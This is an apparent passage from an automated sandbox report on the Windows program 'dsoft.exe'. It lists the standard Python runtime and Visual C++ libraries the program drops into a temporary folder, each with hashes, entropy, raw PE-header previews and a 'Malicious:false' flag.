                                                                                                                                                                                                                                        SHA-512:0AC6A1FC0379F5C3C80D5C88C34957DFDB656E4BF1F10A9FA715AAD33873994835D1DE131FC55CD8B0DEBDA2997993E978700890308341873B8684C4CD59A411
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4%.bUK.bUK.bUK.k-..`UK..)J.`UK.)-J.aUK.bUJ.AUK..)N.iUK..)O.jUK..)H.aUK.(C.cUK.(K.cUK.(..cUK.(I.cUK.RichbUK.........PE..d....y.e.........." ...#............P........................................p............`..........................................'..|....'..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util\_strxor.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10240
                                                                                                                                                                                                                                        Entropy (8bit):4.689063511060661
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:P/ryZVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EMz3DIWMot4BcX6gbW6O:PzQVddiTHThQTctEEO3DSoKcqgbW6
                                                                                                                                                                                                                                        MD5:FAE081B2C91072288C1C8BF66AD1ABA5
                                                                                                                                                                                                                                        SHA1:CD23DDB83057D5B056CA2B3AB49C8A51538247DE
                                                                                                                                                                                                                                        SHA-256:AF76A5B10678F477069ADD6E0428E48461FB634D9F35FB518F9F6A10415E12D6
                                                                                                                                                                                                                                        SHA-512:0ADB0B1088CB6C8F089CB9BF7AEC9EEEB1717CF6CF44B61FB0B053761FA70201AB3F7A6461AAAE1BC438D689E4F8B33375D31B78F1972AA5A4BF86AFAD66D3A4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4%.bUK.bUK.bUK.k-..`UK..)J.`UK.)-J.aUK.bUJ.AUK..)N.iUK..)O.jUK..)H.aUK.(C.cUK.(K.cUK.(..cUK.(I.cUK.RichbUK.........PE..d....y.e.........." ...#............P........................................p............`.........................................`'..t....'..P....P.......@...............`..,...."...............................!..@............ ...............................text...x........................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin\mfc140u.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):5653424
                                                                                                                                                                                                                                        Entropy (8bit):6.729277267882055
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:EuEsNcEc8/CK4b11P5ViH8gw0+NVQD5stWIlE7lva8iposS9j5fzSQzs7ID+AVuS:EnL8+5fiEnQFLOAkGkzdnEVomFHKnPS
                                                                                                                                                                                                                                        MD5:03A161718F1D5E41897236D48C91AE3C
                                                                                                                                                                                                                                        SHA1:32B10EB46BAFB9F81A402CB7EFF4767418956BD4
                                                                                                                                                                                                                                        SHA-256:E06C4BD078F4690AA8874A3DEB38E802B2A16CCB602A7EDC2E077E98C05B5807
                                                                                                                                                                                                                                        SHA-512:7ABCC90E845B43D264EE18C9565C7D0CBB383BFD72B9CEBB198BA60C4A46F56DA5480DA51C90FF82957AD4C84A4799FA3EB0CEDFFAA6195F1315B3FF3DA1BE47
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.cu...&...&...&...'...&...'...&...'...&..&...&G..'...&G..'...&...'...&...&..&G..'...&G..'...&G..'...&G..'...&G..&...&G..'...&Rich...&................PE..d....~.a.........." .....(-..X)......X,.......................................V......YV...`A..........................................:.....h.;.......?......`=..8....V..'...PU.0p..p.5.T...........................`...8............@-.P...0.:......................text....&-......(-................. ..`.rdata.......@-......,-.............@..@.data....6... <.......<.............@....pdata...8...`=..:....<.............@..@.didat..H.....?.......?.............@....rsrc.........?.......?.............@..@.reloc..0p...PU..r....T.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin\win32ui.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1142272
                                                                                                                                                                                                                                        Entropy (8bit):6.040548449175261
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:cLokSyhffpJSf6VJtHUR2L2mVSvya6Lx15IQnpKTlYcf9WBo:cLok/pXJdUzOSMx15dcTlYiK
                                                                                                                                                                                                                                        MD5:B505E88EB8995C2EC46129FB4B389E6C
                                                                                                                                                                                                                                        SHA1:CBFA8650730CBF6C07F5ED37B0744D983ABFE50A
                                                                                                                                                                                                                                        SHA-256:BE7918B4F7E7DE53674894A4B8CFADCACB4726CEA39B7DB477A6C70231C41790
                                                                                                                                                                                                                                        SHA-512:6A51B746D0FBC03F57FF28BE08F7E894AD2E9F2A2F3B61D88EAE22E7491CF35AE299CDB3261E85E4867F41D8FDA012AF5BD1EB8E1498F1A81ADC4354ADACDAAB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aM.F%,r.%,r.%,r.,T../,r..Ys.',r..Es.',r.1Gs.+,r.wYv.-,r.wYq.!,r.wYw.3,r.%,s.-*r.wYs.",r..Y{..,r..Yr.$,r..Y..$,r..Yp.$,r.Rich%,r.........................PE..d......d.........." .........p......t.....................................................`..............................................T...q..h...............................`\..`...T.......................(.......8................0...........................text............................... ..`.rdata..............................@..@.data...............................@....pdata...............`..............@..@.rsrc...............................@..@.reloc..`\.......^..................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\VCRUNTIME140.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):109392
                                                                                                                                                                                                                                        Entropy (8bit):6.643764685776923
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
                                                                                                                                                                                                                                        MD5:870FEA4E961E2FBD00110D3783E529BE
                                                                                                                                                                                                                                        SHA1:A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
                                                                                                                                                                                                                                        SHA-256:76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
                                                                                                                                                                                                                                        SHA-512:0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\VCRUNTIME140_1.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):49488
                                                                                                                                                                                                                                        Entropy (8bit):6.652691609629867
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:8EgYXUcHJcUJSDW/tfxL1qBS3hO6nb/TEHEXi9zufUKQXi9zug:8vGS8fZ1eUpreA+zuTc+zug
                                                                                                                                                                                                                                        MD5:BBA9680BC310D8D25E97B12463196C92
                                                                                                                                                                                                                                        SHA1:9A480C0CF9D377A4CAEDD4EA60E90FA79001F03A
                                                                                                                                                                                                                                        SHA-256:E0B66601CC28ECB171C3D4B7AC690C667F47DA6B6183BFF80604C84C00D265AB
                                                                                                                                                                                                                                        SHA-512:1575C786AC3324B17057255488DA5F0BC13AD943AC9383656BAF98DB64D4EC6E453230DE4CD26B535CE7E8B7D41A9F2D3F569A0EFF5A84AEB1C2F9D6E3429739
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............L...L...L...M...L...M...L.FL...L...L...L...M...L...M...L...M...L...M...L..*L...L...M...LRich...L........................PE..d...%CU..........." ...".<...8.......A...............................................@....`A........................................0m.......m..x....................r..PO......D....c..p...........................pb..@............P..h............................text...0:.......<.................. ..`.rdata..."...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_asyncio.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):64384
                                                                                                                                                                                                                                        Entropy (8bit):6.115753860836585
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:aW3/DZG0409EevNR4aimAWAs+FI75nED7SynRPx:aW39GlANR4aim6hFI75nUJVx
                                                                                                                                                                                                                                        MD5:4543813A21958D0764975032B09DED7B
                                                                                                                                                                                                                                        SHA1:C571DEA89AB89B6AAB6DA9B88AFE78ACE90DD882
                                                                                                                                                                                                                                        SHA-256:45C229C3988F30580C79B38FC0C19C81E6F7D5778E64CEF6CE04DD188A9CCAB5
                                                                                                                                                                                                                                        SHA-512:3B007AB252CCCDA210B473CA6E2D4B7FE92C211FB81ADE41A5A69C67ADDE703A9B0BC97990F31DCBE049794C62BA2B70DADF699E83764893A979E95FD6E89D8F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........TF.q.F.q.F.q.O...D.q...p.D.q...t.J.q...u.N.q...r.E.q...p.E.q...p.D.q.F.p...q...|.G.q...q.G.q....G.q...s.G.q.RichF.q.................PE..d...$..c.........." ...".T..........`................................................+....`............................................P...0...d........................)..........pw..T...........................0v..@............p...............................text...uR.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_bz2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):83320
                                                                                                                                                                                                                                        Entropy (8bit):6.534931868118148
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:V/Uez7qlsjcaNXZIzNYM4B0NDX8rjE2tI7tVj7SyxPx9:eezGiXMjdMrjPtI7tVjLx9
                                                                                                                                                                                                                                        MD5:BBE89CF70B64F38C67B7BF23C0EA8A48
                                                                                                                                                                                                                                        SHA1:44577016E9C7B463A79B966B67C3ECC868957470
                                                                                                                                                                                                                                        SHA-256:775FBC6E9A4C7E9710205157350F3D6141B5A9E8F44CB07B3EAC38F2789C8723
                                                                                                                                                                                                                                        SHA-512:3EE72BA60541116BBCA1A62DB64074276D40AD8ED7D0CA199A9C51D65C3F0762A8EF6D0E1E9EBF04BF4EFE1347F120E4BC3D502DD288339B4DF646A59AAD0EC1
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................a.........................................t.........................................Rich....................PE..d...2..c.........." ...".....^..............................................P............`.........................................p...H............0....... .. .......x)...@..........T...........................p...@............................................text...g........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_cffi_backend.cp310-win_amd64.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):181248
                                                                                                                                                                                                                                        Entropy (8bit):6.188683787528254
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:rZ1fKD8GVLHASq0TTjfQxnkVB0hcspEsHS7iiSTLkKetJb9Pu:rZNRGVb9TTCnaZsuMXiSTLLeD9
                                                                                                                                                                                                                                        MD5:EBB660902937073EC9695CE08900B13D
                                                                                                                                                                                                                                        SHA1:881537ACEAD160E63FE6BA8F2316A2FBBB5CB311
                                                                                                                                                                                                                                        SHA-256:52E5A0C3CA9B0D4FC67243BD8492F5C305FF1653E8D956A2A3D9D36AF0A3E4FD
                                                                                                                                                                                                                                        SHA-512:19D5000EF6E473D2F533603AFE8D50891F81422C59AE03BEAD580412EC756723DC3379310E20CD0C39E9683CE7C5204791012E1B6B73996EA5CB59E8D371DE24
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ih..-..C-..C-..C$qMC!..C.|.B/..CKf#C)..C.|.B&..C.|.B%..C.|.B)..Cfq.B)..C.|.B...C-..C...C.|.B)..C$qKC,..C.|.B,..C.|!C,..C.|.B,..CRich-..C........PE..d.....e.........." .........@...............................................0............`..........................................g..l...|g..................H............ .......M...............................M..8............................................text...h........................... ..`.rdata..l...........................@..@.data....\.......0...v..............@....pdata..H...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_ctypes.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):122232
                                                                                                                                                                                                                                        Entropy (8bit):6.015707129535061
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:YjjHoXs01LUZJNUoNZf4adhfrI70s3nRI7QPY2xB:Y3HUJ6f5dhfrIHX1
                                                                                                                                                                                                                                        MD5:CA4CEF051737B0E4E56B7D597238DF94
                                                                                                                                                                                                                                        SHA1:583DF3F7ECADE0252FDFF608EB969439956F5C4A
                                                                                                                                                                                                                                        SHA-256:E60A2B100C4FA50B0B144CF825FE3CDE21A8B7B60B92BFC326CB39573CE96B2B
                                                                                                                                                                                                                                        SHA-512:17103D6B5FA84156055E60F9E5756FFC31584CDB6274C686A136291C58BA0BE00238D501F8ACC1F1CA7E1A1FADCB0C7FEFDDCB98CEDB9DD04325314F7E905DF3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......NC..."..."..."...Z..."..E^..."..E^..."..E^..."..E^..."...^..."...P..."...P..."...K..."..."..."...^..."...^..."...^x.."...^..."..Rich."..........................PE..d.../..c.........." ..."............PZ....................................................`.........................................0P.......P..................,.......x).......... ...T...............................@...............H............................text............................... ..`.rdata..6k.......l..................@..@.data...D>...p...8...\..............@....pdata..,...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_decimal.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):248704
                                                                                                                                                                                                                                        Entropy (8bit):6.54473795039927
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:LbdyrWOay+msmOE8qQRiJpCWi9qWMa3pLW1AUg42G:6zsmsmGNRm1omZ2G
                                                                                                                                                                                                                                        MD5:6339FA92584252C3B24E4CCE9D73EF50
                                                                                                                                                                                                                                        SHA1:DCCDA9B641125B16E56C5B1530F3D04E302325CD
                                                                                                                                                                                                                                        SHA-256:4AE6F6FB3992BB878416211221B3D62515E994D78F72EAB51E0126CA26D0EE96
                                                                                                                                                                                                                                        SHA-512:428B62591D4EBA3A4E12F7088C990C48E30B6423019BEBF8EDE3636F6708E1F4151F46D442516D2F96453694EBEEF78618C0C8A72E234F679C6E4D52BEBC1B84
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........|RTy..Ty..Ty..]...Zy......Vy......Yy......\y......Py......Wy......Vy..Ty...y......Uy......[y......Uy......Uy......Uy..RichTy..........PE..d...)..c.........." ...".j...:......<................................................2....`.........................................@E..P....E...................'.......)......@...p...T...........................0...@............................................text....h.......j.................. ..`.rdata..l............n..............@..@.data....)...`...$...F..............@....pdata...'.......(...j..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_hashlib.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):61824
                                                                                                                                                                                                                                        Entropy (8bit):6.21086555394527
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:aIpTlJFWaIDPZbdqzOgB1fFI75IJ7SyXPxMVt:rT36bZbdqzXfFI75IJRxMV
                                                                                                                                                                                                                                        MD5:D856A545A960BF2DCA1E2D9BE32E5369
                                                                                                                                                                                                                                        SHA1:67A15ECF763CDC2C2AA458A521DB8A48D816D91E
                                                                                                                                                                                                                                        SHA-256:CD33F823E608D3BDA759AD441F583A20FC0198119B5A62A8964F172559ACB7D3
                                                                                                                                                                                                                                        SHA-512:34A074025C8B28F54C01A7FD44700FDEDB391F55BE39D578A003EDB90732DEC793C2B0D16DA3DA5CDBD8ADBAA7B3B83FC8887872E284800E7A8389345A30A6A4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.A.>...>...>...F2..>...B...>...B...>...B...>...B...>..iB...>...L...>...D...>...>..Q>..iB...>..iB...>..iB^..>..iB...>..Rich.>..........................PE..d.../..c.........." ...".P...z.......<...............................................;....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_lzma.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):157560
                                                                                                                                                                                                                                        Entropy (8bit):6.834360512510993
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:PBKvRNVdG9LqSS2IAiznfI9mNoBkD9ZRqtI7e1Pvxs:PBKvRts82awYOBkvRqM
                                                                                                                                                                                                                                        MD5:0A94C9F3D7728CF96326DB3AB3646D40
                                                                                                                                                                                                                                        SHA1:8081DF1DCA4A8520604E134672C4BE79EB202D14
                                                                                                                                                                                                                                        SHA-256:0A70E8546FA6038029F2A3764E721CEEBEA415818E5F0DF6B90D6A40788C3B31
                                                                                                                                                                                                                                        SHA-512:6F047F3BDAEAD121018623F52A35F7E8B38C58D3A9CB672E8056A5274D02395188975DE08CABAE948E2CC2C1CA01C74CA7BC1B82E2C23D652E952F3745491087
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.J[&.$.&.$.&.$./..".$.i.%.$.$.i.!.*.$.i. ...$.i.'.%.$...%.%.$...%.$.$.&.%.C.$...)...$...$.'.$.....'.$...&.'.$.Rich&.$.........PE..d...B..c.........." ...".b...........5..............................................ab....`.........................................0%..L...|%..x....p.......P.......>..x)......H.......T...........................`...@............................................text....`.......b.................. ..`.rdata..............f..............@..@.data........@......................@....pdata.......P......................@..@.rsrc........p.......2..............@..@.reloc..H............<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_multiprocessing.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):33152
                                                                                                                                                                                                                                        Entropy (8bit):6.323290452921724
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:G9HI6RwgJ5xeKg2edhnJ81I7Rtt/YiSyvPPxWEa5Z:aIoJ5UKg2edhJ81I7Rtt/7SynPxeZ
                                                                                                                                                                                                                                        MD5:62733CE8AE95241BF9CA69F38C977923
                                                                                                                                                                                                                                        SHA1:E5C3F4809E85B331CC8C5BA0AE76979F2DFDDF85
                                                                                                                                                                                                                                        SHA-256:AF84076B03A0EADEC2B75D01F06BB3765B35D6F0639FB7C14378736D64E1ACAA
                                                                                                                                                                                                                                        SHA-512:FDFBF5D74374F25ED5269CDBCDF8E643B31FAA9C8205EAC4C22671AA5DEBDCE4052F1878F38E7FAB43B85A44CB5665E750EDCE786CABA172A2861A5EABFD8D49
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$Z*.E4y.E4y.E4y.=.y.E4y.95x.E4y.91x.E4y.90x.E4y.97x.E4yS95x.E4y.E5y.E4y?75x.E4yS99x.E4yS94x.E4yS9.y.E4yS96x.E4yRich.E4y........................PE..d...+..c.........." ...".....<......0................................................y....`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_overlapped.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):48512
                                                                                                                                                                                                                                        Entropy (8bit):6.325592382122715
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:zy4KxRzXINGAQSKant/QKhl6XoTZfWJhSVAWiUOJI7stsYiSyvxPxWEa:XKxqztLTQSVAkOJI7sts7SypPx
                                                                                                                                                                                                                                        MD5:02C0F2EFF280B9A92003786FDED7C440
                                                                                                                                                                                                                                        SHA1:5A7FE7ED605FF1C49036D001AE60305E309C5509
                                                                                                                                                                                                                                        SHA-256:F16E595B0A87C32D9ABD2035F8EA97B39339548E7C518DF16A6CC27BA7733973
                                                                                                                                                                                                                                        SHA-512:2B05DDF7BC57E8472E5795E68660D52E843271FD08F2E8002376B056A8C20200D31FFD5E194CE486F8A0928A8486951FDB5670246F1C909F82CF4B0929EFEDAC
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........({..F(..F(..F(...(..F(..G)..F(..C)..F(..B)..F(..E)..F(..G)..F(..G(..F(c.G)..F(c.B)..F(..K)..F(..F)..F(...(..F(..D)..F(Rich..F(................PE..d...-..c.........." ...".>...X...... .....................................................`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_queue.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):30592
                                                                                                                                                                                                                                        Entropy (8bit):6.413040228053335
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:yez/DF36r3CkrAIeRI77UNYiSyvlfUvPxWEl:yeDM3CkrAIeRI77UN7SyOvPx
                                                                                                                                                                                                                                        MD5:52D0A6009D3DE40F4FA6EC61DB98C45C
                                                                                                                                                                                                                                        SHA1:5083A2AFF5BCCE07C80409646347C63D2A87BD25
                                                                                                                                                                                                                                        SHA-256:007BCF19D9B036A7E73F5EF31F39BFB1910F72C9C10E4A1B0658352CFE7A8B75
                                                                                                                                                                                                                                        SHA-512:CD552A38EFAA8720A342B60318F62320CE20C03871D2E50D3FA3A9A730B84DACDBB8EB4D0AB7A1C8A97215B537826C8DC532C9A55213BCD0C1D13D7D8A9AD824
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._ZF.1.F.1.F.1.O..D.1...0.D.1...4.J.1...5.N.1...2.E.1...0.E.1...0.D.1.F.0...1...<.G.1...1.G.1.....G.1...3.G.1.RichF.1.........PE..d...&..c.........." ...".....8......................................................B.....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\_socket.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):77696
                                                                                                                                                                                                                                        Entropy (8bit):6.248960816871735
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:c67eU/Bgujs9/s+S+py8k/DDjaRI7Qw27Syj/Px:c673/aujs9/sT+pPk/XmRI7Qw2xx
                                                                                                                                                                                                                                        MD5:0F5E64E33F4D328EF11357635707D154
                                                                                                                                                                                                                                        SHA1:8B6DCB4B9952B362F739A3F16AE96C44BEA94A0E
                                                                                                                                                                                                                                        SHA-256:8AF6D70D44BB9398733F88BCFB6D2085DD1A193CD00E52120B96A651F6E35EBE
                                                                                                                                                                                                                                        SHA-512:4BE9FEBB583364DA75B6FB3A43A8B50EE29CA8FC1DDA35B96C0FCC493342372F69B4F27F2604888BCA099C8D00F38A16F4C9463C16EFF098227D812C29563643
